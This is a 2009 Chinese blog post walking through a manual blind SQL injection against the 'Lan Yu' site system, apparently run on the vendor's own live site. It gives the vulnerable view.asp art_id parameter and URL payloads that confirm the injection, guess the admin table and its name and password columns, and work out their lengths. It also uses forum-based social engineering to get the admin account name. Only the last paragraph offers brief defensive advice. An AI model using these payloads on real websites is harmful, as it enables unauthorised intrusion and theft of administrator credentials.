分类: 数据库开发技术
2009-04-02 13:24:45
最近无聊,在网上走来走去看看。发现现在的整站系统可是越来越多了,修 改版本等等的N多阿!而蓝雨设计整站的使用者也越来越多了,蓝雨整站系统是从NOWA 0.94修改而来的!基于NOWA的系统不单指蓝雨一个还有很多的!我在此就不一一列举了,核心都是一样,只是程序的附加功能就各自不同!安全方面因为基 于NOWA的系统所以到目前知道的漏洞就只有上传而已。以下文章中就会出现NOWA修改系统漏洞当中从未有的SQL注入漏洞!只怪蓝雨修改程序的时候没有 做好注入问题了!这个可不能怪我!谁叫人家程序设计员不会注意安全死角阿?
一,确定注入点
我们就拿官方网站进行测试,因为担心外面提供的版本并非最新版本导致文章的正确性有差异。首先我们提交http://***.net/view.asp?
action=art&art_id=70 and 1=1 返回以下信息。
再次输入
http://***.net/view.asp?
action=art&art_id=70%20and%201=2 返回以下信息
从标准的SQL注入点检测and1=1和and 1=2d 信息返回可以看出,两个图片的分别这个程序的评论存在着SQL注入,因为现在基于NOWA的修改版本都是基于ACCESS数据库架构的,所以我们可以进一步的确定这个程序的数据库类型。
二,猜解数据库表
因为本人懒惰所以只好借用NBSI进行SQL注入的工作了,怎么知道是不是因为的NBSI
实在太厉害了,不能够杀鸡用牛刀。竟然它全部检测不出我所找到的SQL注入点存在着SQL注入!实在太令人感到吃惊(HaK_BaN:难道真的....真
的要我手动注入T_T)NBSI太给面子了!所以我只好硬着头皮去进行手动注入了。首先猜解数据库的表是否存在admin表。构造语句提交
http://***.net/view.asp?
action=art&art_id=70%20and%200????
(select%20count(*)%20from%20admin)
现在的程序当中的数据库管理员表,不就是admin,adminuser
user之类的名称,所以我们只要抓住程序作者的心理就可以知道了,提交语句之后页面返回正常,我们就可以确定数据库当中是存在admin这个表的。我们
只是需要admin的密码以及账号,所以数据库当中其他的表可以忽略。
三,猜解数据库字段
在猜解之前为了减少更多的麻烦和无谓的猜解,应该要对于所入侵的网站进行一些资料的搜
集,例如管理员的QQ以及管理员所使用的网名都是要知道的,因为我们通常都会使用容易记忆的密码以及账号,从而使自己可以不会忘记。找了文章页面等等的功
能页面都找不到文章编辑以及管理员的QQ号码。只好在BBS当中寻找了,很幸运的是我们在BBS当中找到了“蓝雨”这个用户名,这样子等待会猜解
admin账号的时候我们可以试试中文的名字或者是拼音字母。(HaK_BaN:我可是曾经在MSN以一个名字看穿PLMM性格以及生日的哦,大家要注意
社会工程学的重要性阿)
废话少说,我们看看这个程序的管理员字段是什么!?首先猜解是name的提交语句如下http://***.net/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len(name)
??0) (HaK_BaN:*_*不是阿!不是NAME字段阿)提交语句后信息返回页面显示不正常就证实admin表中没有name这个字段名。看来又要想想如何去进行猜解了,既然name字段不行就试试admin_name字段行不行!再次构造猜解字段语句:
http://***.net/view.asp?action=
art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??0) (HaK_BaN:这下子总可以了吧?我又迈进一步了!)提交语句之后页面返回正常了,这下子终于可以了。
然后,我们就开始猜解password的字段了,其实一看上面的回显我们就可以非常肯定的说password字段就是admin_password,所以提交的语句就是
http://***.net/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_password)??0) 信息回显正常对吧!?哈哈哈(
说
到这里整个猜解就差不多完场了!(菜鸟:什么什么阿?还有账号和密码了?你丫的是不是傻了?)猜解密码和账号就更加是一个麻烦和浪费时间的活来的!好好,
我们去看看账号和密码的猜解如何?首先我们猜解账号的长短阿!假设,我们之前就已经拿到了管理员常用的账号名称“蓝雨”是管理员账号。我们就有两种可能
性,一是蓝雨的拼音“lanyu”,二是蓝雨的中文转为ASCII码进行猜解。我们首先试试拼音这个的可能性,如果是这样子的话我们就要构造
admin_name的长度为5,所以提交语句为http://***.net/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??5) 页面信息返回无法正常显示。
然后再提交
art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??4)
这下子页面可算是正常了!然后再次提交语句为
http://***.net/view.asp?
action=art&art_id=70%20and%201=(select%20count(*)
%20from%20admin%20where%20len
(admin_name)=5)
我们就可以确定admin_name的长度为5了。账号长度出来了,而password的长度我们还不知道,根据信息收集得知密码是利用MD5 16位加密的,所以我们可以猜解为密码长度是16位喔!提交语句http://***.net/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_password)=16)
这里就不截图了!我们可以基本上就知道了!账号长度为5位,密码长度为16位。(HaK_BaN:说真的我很久没有手动了,都差不多腰酸背痛了!)至于账
号是多少密码是多少我就不再列举了!经过测试刚刚的社会工程学得到的管理员账号为:lanyu是正确的!而密码的确是MD516位加密。整个过程可以利用
臭要饭的CSC进行注入测试!
四,总结
整个程序的SQL注入页面有几个,都是基于蓝雨整站自身添加的功能页面没有做好相关的SQL注入导
致的,如果大家有在使用这个程序的话,可以使用通用防止注入的脚本进行防止,虽然说MD5需要暴力破解,但是如果你真的得罪人的话,不要说破解了。可能你
的网站都会被别人干的一干二净,网络安全是很重要的一部分,希望大家不要轻视安全这个环节!以上文章如有错误请大家指出,有什么问题可以到非安全的论坛或
者BCT小组找我!